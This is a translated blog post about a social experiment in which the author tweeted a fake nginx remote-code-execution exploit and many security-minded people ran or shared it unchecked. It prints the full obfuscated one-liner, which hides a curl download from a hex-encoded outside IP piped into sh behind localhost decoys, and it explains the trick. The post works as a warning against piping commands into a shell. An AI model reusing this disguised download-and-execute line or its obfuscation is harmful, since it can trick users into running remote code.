The success of a social experiment with a fake exploit for nginx

Note. transl.: Author of the original note, published on June 1, decided to conduct an experiment among those interested in information security. To do this, he prepared a fake exploit for an undisclosed vulnerability in a web server and posted it on his Twitter. His assumptions of being instantly debunked by experts who would see the obvious cheating in the code not only did not materialize ... They exceeded all expectations, and in the opposite direction: the tweet received huge support from numerous people who did not check its content.

TL;DR: never use file pipelining in sh or bash. This is a great way to lose control of your computer.

I want to share with you a little story about a joke PoC exploit that was created on May 31st. He appeared promptly in response to news from Alisa Esage Shevchenko, member Zero Day Initiative (ZDI) that a vulnerability in NGINX leading to RCE (Remote Code Execution) will soon be disclosed. Since NGINX is at the heart of many websites, the news should have been a bombshell. But due to delays in the “responsible disclosure” process, the details of what happened were not known - this is the standard ZDI procedure.

Tweet about vulnerability disclosure in NGINX

After finishing work on the new obfuscation technique in curl, I quoted the original tweet and "leaked a working PoC" consisting of a single line of code that supposedly exploits the discovered vulnerability. Of course, it was complete nonsense. I thought that I would be immediately taken to clean water, and that at best I would get a couple of retweets (well, okay).

Tweet with fake exploit

However, I could not imagine what happened next. The popularity of my tweet skyrocketed. Surprisingly, at the moment (15:00 Moscow time on June 1), few people have realized that this is a fake. Many retweet it without checking it at all (not to mention admiring the lovely ASCII graphics it renders).

Just look how beautiful!

While all those cycles and colors are great, it's understandable that people were executing code on their machine to see them. Luckily, browsers work the same way, and combined with the fact that I don't want to get in trouble with the law, the code hidden in my site just made echo calls without trying to install or execute any additional code.

A small digression: netspooky, DNZ, me and other guys from the team Thugcrowd We've been playing around with curl obfuscation for a while now because it's fun... and we're geeks. netspooky and dnz have discovered several new ways that I find extremely promising. I joined in the fun and tried adding IP decimal conversions to the tricks. It turned out that IP can also be converted to hexadecimal format. What's more, curl and most other NIX tools are happy to eat hex IPs! Thus, the requirement was simply to create a convincing and safe-looking command line. Ultimately I settled on this one:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Social Electronic Engineering (SEE) - more than just phishing

Safety and familiarity were a major part of this experiment. I think they are what led to his success. The command line clearly implied security, referring to "127.0.0.1" (the well-known localhost). It is believed that localhost is safe, and the data on it never leaves your computer.

Habituation was the second key SEE component of the experiment. Since the target audience was predominantly composed of people familiar with the basics of computer security, it was important to create such code that parts of it seemed familiar and familiar (and therefore safe). Borrowing elements of old exploit concepts and combining them in an unusual way has been very successful.

Below is a detailed breakdown of the one-liner. Everything on this list is cosmetic, and for its real work practically nothing is required.

What components are really needed? This -gsS, -O 0x0238f06a, |sh and the web server itself. The web server did not contain any malicious instructions, but simply passed ASCII graphics using commands echo in the script contained in index.html. When the user enters a string with |sh in the middle, index.html loaded and executed. Luckily, the web server keepers had no malicious intent.

• ../../../%00 — depicts going beyond the directory;
• ngx_stream_module.so - path to a random NGINX module;
• /bin/sh%00<'protocol:TCP' - we are supposedly launching /bin/sh on the target machine and redirect the output to the TCP channel;
• -O 0x0238f06a#PLToffset - secret ingredient added #PLToffsetto look like a memory offset somehow contained in the PLT;
• |sh; is another important piece. We needed to redirect output to sh/bash in order to execute code coming from the attacking web server located at 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost - a dummy in which netcat refers to /dev/tcp/localhostto make everything look safe again. In fact, it does nothing and is included in the line for beauty.

This concludes the decoding of the one-line script and the discussion of aspects of "socio-electronic engineering" (fancy phishing).

Web Server Configuration and Countermeasures

Since the vast majority of my subscribers are infosecure/hackers, I decided to make the web server a little more resistant to manifestations of "interest" from them, just so that the guys would have something to do (and it was fun to set it up). I'm not going to list all the pitfalls here as the experiment is still ongoing, but here are a few things the server does:

• Actively monitors distribution attempts on certain social networks and substitutes various preview thumbnails to encourage the user to click on the link.
• Redirects Chrome/Mozilla/Safari/etc to a Thugcrowd promo instead of showing a shell script.
• Looks for CLEAR signs of intrusion/brute-force hacking and then starts redirecting requests to NSA servers (ha!).
• Installs a Trojan and a BIOS rootkit on all computers whose users visit the host with a normal browser (just kidding!).

A small part of antimers

In this case, my only goal was to learn some of Apache's features - in particular, the cool request redirection rules - and I thought, why not?

NGINX exploit (real!)

Subscribe to @alisaesage on Twitter and follow ZDI's amazing work on fixing very real vulnerabilities and exploit opportunities in NGINX. Their work has always fascinated me and I'm grateful to Alice for her patience with all the mentions and notices my stupid tweet caused. Luckily, it did some good too: it helped to raise awareness about NGINX vulnerabilities as well as problems caused by misuse of curl.

Source: habr.com